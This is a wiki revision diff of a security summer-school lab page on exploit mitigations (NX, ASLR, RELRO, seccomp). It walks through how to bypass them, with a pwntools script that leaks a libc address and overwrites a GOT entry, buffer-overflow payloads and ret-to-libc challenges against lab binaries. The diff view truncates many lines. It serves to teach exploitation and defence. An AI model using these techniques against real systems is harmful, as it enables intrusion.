This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:10 [2020/07/08 11:04] Liza-Elena BABU (78556) |
session:10 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | = 0x09. Defense Mechanisms | + | ====== 0x09. Defense Mechanisms |
- | == Resources | + | ===== Resources |
- | [[http:// | + | [[http:// |
- | [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|Activities archive]] | + | Get the tasks by cloning |
- | == Tutorials | ||
- | The previous sessions ([[: | + | ===== Tutorials ===== |
+ | |||
+ | The previous sessions ([[: | ||
+ | |||
+ | In [[: | ||
+ | |||
+ | Next, we will introduce the **RELRO** mitigation, which is designed to preclude the overwriting of relocation sections such as the GOT. | ||
+ | |||
+ | Another defense mechanism we will discuss in **seccomp**, | ||
+ | |||
+ | Besides presenting | ||
<note warning> | <note warning> | ||
Line 16: | Line 25: | ||
</ | </ | ||
- | === Executable Space Protection | + | ===== Tools ===== |
+ | |||
+ | The **checksec** command-line tool is a wrapper over the functionality implemented in pwntools' | ||
+ | |||
+ | We will use this tool throughout the session to identify which defense mechanisms are enabled for a certain binary: | ||
+ | <code bash> | ||
+ | root@kali: | ||
+ | [*] '/ | ||
+ | Arch: | ||
+ | RELRO: | ||
+ | Stack: | ||
+ | NX: NX disabled | ||
+ | PIE: PIE enabled | ||
+ | RWX: Has RWX segments | ||
+ | </ | ||
+ | |||
+ | <note warning> To get it to work in the Kali VM, you have to update pwntools to the latest version using: | ||
+ | < | ||
+ | $ pip install -U pwntools | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | |||
+ | ==== Executable Space Protection | ||
The **executable space protection** is an instance of the **principle of least privilege**, | The **executable space protection** is an instance of the **principle of least privilege**, | ||
Line 38: | Line 70: | ||
There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http:// | There are of course other implementations in different hardening-oriented projects such as: OpenBSD [[http:// | ||
- | ==== Walk-through | + | === Walk-through |
The Linux kernel provides support for managing memory protections in the '' | The Linux kernel provides support for managing memory protections in the '' | ||
Line 165: | Line 197: | ||
</ | </ | ||
- | ==== Bypassing NX | + | === Bypassing NX === |
**ret-to-plt/ | **ret-to-plt/ | ||
Line 173: | Line 205: | ||
**Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. | **Return Oriented Programming (ROP).** This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section. | ||
- | === Address Space Layout Randomization | + | ==== Address Space Layout Randomization |
Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http:// | Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for [[http:// | ||
Line 197: | Line 229: | ||
We can easily demonstrate the effects on shared libraries by running '' | We can easily demonstrate the effects on shared libraries by running '' | ||
- | ==== PLT and GOT | + | In GDB, ASLR is disabled by default in order to reduce the non-determinism |
- | ASLR is not the only feature that prevents the compiler and the linker from solving some relocations before the binary is actually running. Shared libraries can also be combined in different ways, so the first time you actually know the address of a shared library is while the loader is running. The ASLR feature is orthogonal to this - the loader could choose to assign address to libraries in a round-robin fashion, or could use ASLR to assign them randomly. | + | <code bash> |
+ | gdb-peda$ set disable-randomization off | ||
+ | </ | ||
- | Of course, we might be inclined to have the loader simply fix all relocations in the code section after it loaded the libraries, but this breaks the memory access protection of the '' | + | ==== Bypassing ASLR ==== |
- | To solve this problems we need another level of indirection: | + | **Bruteforce.** If you are able to inject payloads multiple times without crashing the application, you can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times. |
+ | Another thing to keep in mind is that, as addresses are randomized at load-time, child processes spawned with fork inherit | ||
- | The PLT is responsible of finding | + | Take the following scenario: we interact with a vulnerable sever that handles connections by forking to another process. We manage to obtain a leak from a child process but we are not able to create an exploit chain that leads to arbitrary code execution. However, we may still be able to use this leak in another connection, since the new process will have the same address |
- | Let's take a quick look at the code generated for a shared library call. You can use any binary you like, we'll just show an example from one that simply calls '' | + | **NOP sled.** In the case of shellcodes, |
- | <code bash> | + | **jmp esp.** This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which was discussed in the previous session. |
- | ~$ objdump -D -j .text -M intel hello | grep puts | + | |
- | </ | + | |
- | <code text> | + | |
- | | + | |
- | </ | + | |
- | We can see that the '' | + | **Restrict entropy.** There are various ways of reducing the entropy of the randomized |
+ | **Partial overwrite.** This technique is useful when we are able to overwrite only the least significant byte(s) of an address (e.g. a GOT entry). We must take into account the offsets of the original and final addresses from the beginning of the mapping. If these offsets only differ in the last 8 bits, the exploit is deterministic, | ||
<code bash> | <code bash> | ||
- | ~$ readelf | + | gdb-peda$ p read |
+ | $1 = {<text variable, no debug info>} 0xe6dd0 < | ||
+ | gdb-peda$ p write | ||
+ | $2 = {<text variable, no debug info>} 0xe6ea0 < | ||
</ | </ | ||
+ | However, since bits 12-16 of the offsets differ, the corresponding bits in the full addresses would have to be bruteforced (probability 1/4). | ||
- | <code text> | + | **Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., '' |
- | ... | + | |
- | [12] .plt PROGBITS | + | |
- | ... | + | |
- | </ | + | |
- | Let's see how the code there looks like: | + | ==== Tutorial: Chaining Information Leaks with GOT Overwrite ==== |
- | <code bash> | + | In this tutorial we will exploit a program that is similar to '' |
- | ~$ objdump | + | < |
- | </code> | + | #include < |
+ | #include < | ||
- | <code text> | + | int main() { |
- | 080482f0 < | + | int *addr; |
- | | + | |
- | | + | |
- | | + | |
- | </ | + | |
- | We see it jumping to a pointer stored at '' | + | printf(" |
- | <code bash> | + | printf(" |
- | ~$ readelf --relocs hello | + | scanf(" |
- | </ | + | |
+ | printf(" | ||
+ | scanf(" | ||
+ | |||
+ | sleep(10); | ||
- | <code text> | + | printf(" |
- | ... | + | } |
- | Relocation section ' | + | |
- | | + | |
- | 0804a000 | + | |
- | ... | + | |
</ | </ | ||
- | Ok, good, but what is actually stored | + | The goal is to alter the execution flow and avoid reaching the final '' |
+ | Whenever we operate with addresses belonging to shared libraries, we must be aware that the offsets are highly dependent on the particular build of the library. We can identify this build either by its BuildID (retrieved with the file command), or by its version string: | ||
<code bash> | <code bash> | ||
- | ~$ objdump | + | silvia@imladris:/ |
+ | linux-gate.so.1 (0xf7ee8000) | ||
+ | libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ccc000) | ||
+ | /lib/ld-linux.so.2 (0xf7ee9000) | ||
+ | silvia@imladris:/ | ||
+ | / | ||
+ | silvia@imladris:/ | ||
+ | GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27. | ||
</ | </ | ||
- | <code text> | + | Alternatively, |
- | hello: | + | |
- | Contents | + | For example, we have the following pair of addresses: |
- | 804a000 f6820408 06830408 16830408 | + | < |
+ | 0xf7df6250 < | ||
+ | 0xf7e780e0 < | ||
</ | </ | ||
+ | We enter them in the [[https:// | ||
- | We recognize | + | For this '' |
+ | <code bash> | ||
+ | silvia@imladris:/ | ||
+ | (gdb) p printf | ||
+ | $1 = {<text variable, no debug info>} 0x513a0 < | ||
+ | (gdb) p exit | ||
+ | $2 = {<text variable, no debug info>} 0x30420 < | ||
+ | </ | ||
+ | We will also need the address of '' | ||
<code bash> | <code bash> | ||
- | ~$ objdump -D -j .plt -M intel hello | grep -A 3 ' | + | silvia@imladris:/ |
+ | 080483b0 < | ||
+ | | ||
</ | </ | ||
- | < | + | We start the program and compute the address of exit based on the leak of printf (in another terminal): |
- | 080482e0 < | + | < |
- | 80482e0: ff 35 f8 9f 04 08 push DWORD PTR ds: | + | >>> |
- | 80482e6: ff 25 fc 9f 04 08 jmp DWORD PTR ds: | + | >>> |
- | 80482ec: 00 00 add BYTE PTR [eax],al | + | >>> |
+ | 4158497824 | ||
+ | </code> | ||
+ | < | ||
+ | silvia@imladris:/sss/demo$ ./ | ||
+ | Here's a libc address: 0xf7dfb3a0 | ||
+ | Give me and address to modify! | ||
+ | 0x804a00c | ||
+ | Give me a value! | ||
+ | 4158497824 | ||
+ | silvia@imladris:/sss/demo$ echo $? | ||
+ | 10 | ||
</ | </ | ||
- | < | + | As we intended, |
- | Going further into the resolver is left as an exercise. You can use GDB to inspect the address in '' | + | |
- | </ | + | |
- | What's going on here? What's actually happening is //lazy binding// — by convention when the dynamic linker loads a library, it will put an identifier and resolution function into known places in the GOT. Therefore, what happens is roughly | + | The following pwntools script automates |
+ | <code python> | ||
+ | from pwn import * | ||
- | === Bypassing ASLR | + | p = process(' |
+ | libc = ELF('/ | ||
- | **Bruteforce.** If you are able to inject payloads multiple times without crashing the application, | + | sleep_got = p.elf.got[' |
- | **NOP sled.** In the case of shellcodes, a longer NOP sled will maximize the chances of jumping inside it and eventually reaching the exploit code even if the stack address | + | p.recvuntil(' |
+ | libc_leak = int(p.recvuntil('\n')[:-1], 16) | ||
+ | libc_base = libc_leak - libc.symbols['printf'] | ||
- | **jmp esp.** This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which is going to be discussed in a following session. | + | print(" |
- | **Restrict entropy.** There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables. | + | exit = libc_base + libc.symbols[' |
- | **Information leak.** The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries | + | p.sendline(hex(sleep_got)) |
- | === Tools: ltrace | + | p.recvuntil(' |
+ | p.sendline(str(exit)) | ||
- | We are going to use '' | + | p.interactive() |
- | + | ||
- | < | + | |
- | python -c 'print " | + | |
</ | </ | ||
- | If you are more comfortable with another tool feel free to use it. Keep in mind that sometimes addresses change when you are using '' | + | ==== RELRO ==== |
- | === 00. Tutorial | + | **RELRO** (**Rel**ocation **R**ead-**O**nly) defends against attacks which overwrite data in relocation sections, such as the GOT-overwrite we showed earlier. |
- | Go to the '' | + | It comes in two flavors: partial and full. Partial RELRO protects |
- | In the previous sessions | + | In the last session |
+ | of the read-write mapping that contains the '' | ||
- | We will try to bypass this protection for the '' | + | This is not a game-over in terms of exploitation, |
- | < | + | ==== seccomp ==== |
- | setarch $(uname -m) -R /bin/bash | + | |
- | </ | + | |
- | Let's take a look at the program headers and confirm that the stack is no longer executable. We only have read and write (RW) permissions for the stack area. | + | **seccomp** is a mechanism though which an application may transition into a state where the system calls it performs are restricted. The policy, which may act on a whitelist or blacklist model, |
- | <note important> | + | seccomp filters are instated using the '' |
- | The auth binary requires | + | |
- | You can find '' | + | This may severely limit our exploitation prospects in some cases. In the challenges that we have solved during these sessions, a common goal was spawning a shell and retrieving a certain file (the flag). If the exploited binary used a seccomp filter that disallowed the '' |
- | </ | + | |
+ | The [[https:// | ||
<code bash> | <code bash> | ||
- | $ checksec 1-random | + | silvia@imladris:/ |
- | [...] | + | line CODE JT |
- | | + | ================================= |
- | [...] | + | 0000: 0x20 0x00 0x00 0x00000004 |
- | </ | + | 0001: 0x15 0x00 0x09 0x40000003 |
- | For completeness, | + | 0002: 0x20 0x00 0x00 0x00000000 |
- | < | + | 0003: 0x15 0x07 0x00 0x000000ad |
- | $ python -c 'print "A" * 1357' | ltrace -i ./auth | + | 0004: 0x15 0x06 0x00 0x00000077 |
- | [0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 < | + | 0005: 0x15 0x05 0x00 0x000000fc |
- | [0x8048601] malloc(20) | + | 0006: 0x15 0x04 0x00 0x00000001 |
- | [0x80485df] puts(" | + | 0007: 0x15 0x03 0x00 0x00000005 |
- | ) | + | 0008: 0x15 0x02 0x00 0x00000003 |
- | [0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7) | + | 0009: 0x15 0x01 0x00 0x00000004 |
- | [0x8048652] memset(0x0804b008, ' | + | 0010: 0x06 0x00 0x00 0x00050026 |
- | [0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x41000001) | + | 0011: 0x06 0x00 0x00 0x7fff0000 |
- | [0x41414141] --- SIGSEGV | + | |
- | [0xffffffff] +++ killed by SIGSEGV +++ | + | |
</ | </ | ||
- | Check the source file - the buffer length is '' | + | In the example above we see a filter operating on the whitelist model: it specifies a subset of syscalls that are allowed: |
- | We can now jump anywhere. Unfortunately, we cannot put a shellcode in the buffer and jump into it because the stack is non-executable now. Lets try it with a few NOPs. Our buffer' | + | <note tip> |
+ | To install seccomp-tools on the Kali VM, use the the gem package manager: | ||
< | < | ||
- | $ python | + | $ gem install seccomp-tools |
- | [0x80484f1] __libc_start_main(0x80486af, | + | |
- | [0x8048601] malloc(20) | + | |
- | [0x80485df] puts(" | + | |
- | ) = 17 | + | |
- | [0x80485ea] gets(0xbfffee63, | + | |
- | [0x8048652] memset(0x0804b008, | + | |
- | [0x8048671] SHA1(0xbfffee63, | + | |
- | [0xbfffee63] --- SIGSEGV (Segmentation fault) --- | + | |
- | [0xffffffff] +++ killed by SIGSEGV +++ | + | |
</ | </ | ||
- | Oh, such a bummer! It didn't work. How about we try to jump to some existing code? | + | </note> |
- | < | + | |
- | $ objdump -d auth | grep -A 15 "< | + | |
- | 080485ec < | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | </code> | + | |
- | Lets try '' | + | |
- | < | + | |
- | $ python -c 'print " | + | |
- | [0x80485df] puts(" | + | |
- | ) = 17 | + | |
- | [0x804861b] puts(" | + | |
- | ) = 14 | + | |
- | [0xffffffff] +++ exited (status 1) +++ | + | |
- | </ | + | ===== Challenges ===== |
- | == Challenges | + | ==== 01-04. |
- | === 01. Challenge - ret-to-libc | + | All of the challenges in this section are intended to be solved with **ASLR enabled**. However, you are free to disable it while developing your exploit for debugging purposes. You are provided with the needed shared libraries from the remote system. |
- | Looks good! Let's get serious and do something useful | + | The challenges are based on the same //" |
- | Continue working | + | They are numbered |
- | The final goal of this task is to bypass the NX stack protection and call '' | ||
- | |||
- | - Display all '' | ||
- | - Return to '' | ||
- | - Find the offset of the '' | ||
- | - Make the binary print ''" | ||
- | - **(bonus)** The process should '' | ||
- | - Remember how we had ASLR disabled? The other '' | ||
- | - Where is '' | ||
<note important> | <note important> | ||
- | //Hint//: Use '' | + | In the case of '' |
</ | </ | ||
<note important> | <note important> | ||
- | //Hint//: When you will finally attack this, '' | + | To set LD_LIBRARY_PATH from a pwntools script, use this method: |
- | </note> | + | <code python> |
- | + | p = process('./rwslotmachineX', | |
- | === 02. Challenge - no-ret-control | + | |
- | + | ||
- | Go to the '' | + | |
- | + | ||
- | Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function. | + | |
- | + | ||
- | Alter the execution of '' | + | |
- | + | ||
- | === 03. Challenge - ret-to-plt | + | |
- | + | ||
- | Go to the '' | + | |
- | + | ||
- | '' | + | |
- | + | ||
- | Your task is to build an exploit that makes the application always print the **same second random number**. That is the first printed random number is whatever, but the second printed random number will always be the same, for all runs. In the sample output below the second printed random number is always | + | |
- | + | ||
- | <code text> | + | |
- | hari@solyaris-home: | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 2070249950. Have fun with it! | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 1023098942. Have fun with it! | + | |
- | Segmentation fault (core dumped) | + | |
- | hari@solyaris-home: | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 1152946153. Have fun with it! | + | |
- | Hi! Options: | + | |
- | 1. Get random number | + | |
- | 2. Go outside | + | |
- | Here's a random number: 1023098942. Have fun with it! | + | |
</ | </ | ||
- | | ||
- | You can use this Python skeleton for buffer overflow input: | ||
- | |||
- | <file python skel.py> | ||
- | # | ||
- | import struct, sys | ||
- | |||
- | def dw(i): | ||
- | return struct.pack("< | ||
- | |||
- | #TODO update count for your prog | ||
- | pad_count_to_ret = 100 | ||
- | payload = " | ||
- | |||
- | #TODO figure out where to return | ||
- | ret_addr = 0xdeadbeef | ||
- | payload += dw(ret_addr) | ||
- | |||
- | |||
- | #TODO add stuff after the payload if you need to | ||
- | payload += "" | ||
- | |||
- | sys.stdout.write(payload) | ||
- | </ | ||
- | |||
- | **Bonus**: The process should SEGFAULT after printing the second (constant) number. Make it exit cleanly (the exit code does not matter, just no SIGSEGV). | ||
- | |||
- | === 04. Challenge - colors | ||
- | |||
- | Go to the '' | ||
- | |||
- | <note important> | ||
- | //Hint//: If you are going to use an inline python command, stdin will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin like this: '' | ||
</ | </ | ||
- | ===== 04.a. | + | <note tip> |
- | + | // | |
- | Exploit the '' | + | |
- | + | ||
- | ===== 04.b. | + | |
- | + | ||
- | ASLR still disabled. Call '' | + | |
- | + | ||
- | ===== 04.c. | + | |
- | + | ||
- | Again, ASLR disabled. Call '' | + | |
- | + | ||
- | + | ||
- | === 05. Challenge - bruteforce | + | |
- | + | ||
- | Continue working in the '' | + | |
- | + | ||
- | Try the previous exploit with ASLR enabled. You can rerun the binary multiple times. | + | |
- | + | ||
- | <note important> | + | |
- | Figure out how addresses look like using '' | + | |
</ | </ | ||
- | < | ||
- | The ASLR entropy on 32-bit systems if pretty low, which makes this bruteforce attack feasible. On 64-bit platforms you will need an information leak, and a 2-stage exploit. We are going to discuss this in a future session. | ||
- | </ | ||
- | === 06. Challenge | + | ==== 05. Bonus - rwslotmachine5 ==== |
- | Go to either the '' | + | This challenge |
- | Using any of the 2 binaries, try to call '' | + | < |
- | + | You can find a table describing x86 syscalls [[http:// | |
- | < | + | |
- | To make your life easier, you can disable ASLR. The purpose of this task is to bypass NX, and not ASLR. | + | |
- | </note> | + | |
- | + | ||
- | <note important> | + | |
- | //Hint//: The '' | + | |
</ | </ |